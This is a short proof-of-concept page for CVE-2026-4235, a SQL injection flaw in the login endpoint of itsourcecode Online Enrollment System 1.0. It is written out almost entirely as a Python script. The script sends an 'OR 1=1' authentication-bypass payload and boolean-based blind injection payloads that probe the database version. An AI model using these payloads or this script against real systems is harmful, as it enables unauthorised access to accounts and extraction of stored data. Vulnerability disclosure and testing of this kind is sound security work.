CVE-2026-4235 itsourcecode Online Enrollment System 1.0 SQL注入漏洞

import requests import sys # CVE-2026-4235 SQL Injection PoC # Target: itsourcecode Online Enrollment System 1.0 # Endpoint: /sms/login.php target_url = "http://target.com/sms/login.php" # SQL Injection payload for authentication bypass payload = { "user_email": "admin' OR '1'='1", "user_password": "any" } # Boolean-based blind SQL injection for data extraction blind_payload = { "user_email": "admin' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1", "user_password": "any" } def test_basic_injection(): """Test basic SQL injection vulnerability""" try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Target is potentially vulnerable") print(f"[+] Response length: {len(response.text)}") return True except Exception as e: print(f"[-] Error: {e}") return False def extract_data(): """Extract database information using blind SQL injection""" # Database version extraction version_payload = { "user_email": f"admin' AND (SELECT SUBSTRING(@@version,1,1))='5", "user_password": "any" } try: response = requests.post(target_url, data=version_payload, timeout=10) # Analyze response to determine if condition is true if "login" not in response.text.lower() or len(response.text) > 1000: print("[+] Database version appears to be MySQL 5.x") except Exception as e: print(f"[-] Error during data extraction: {e}") if __name__ == "__main__": print("CVE-2026-4235 SQL Injection PoC") print("=" * 40) test_basic_injection() extract_data()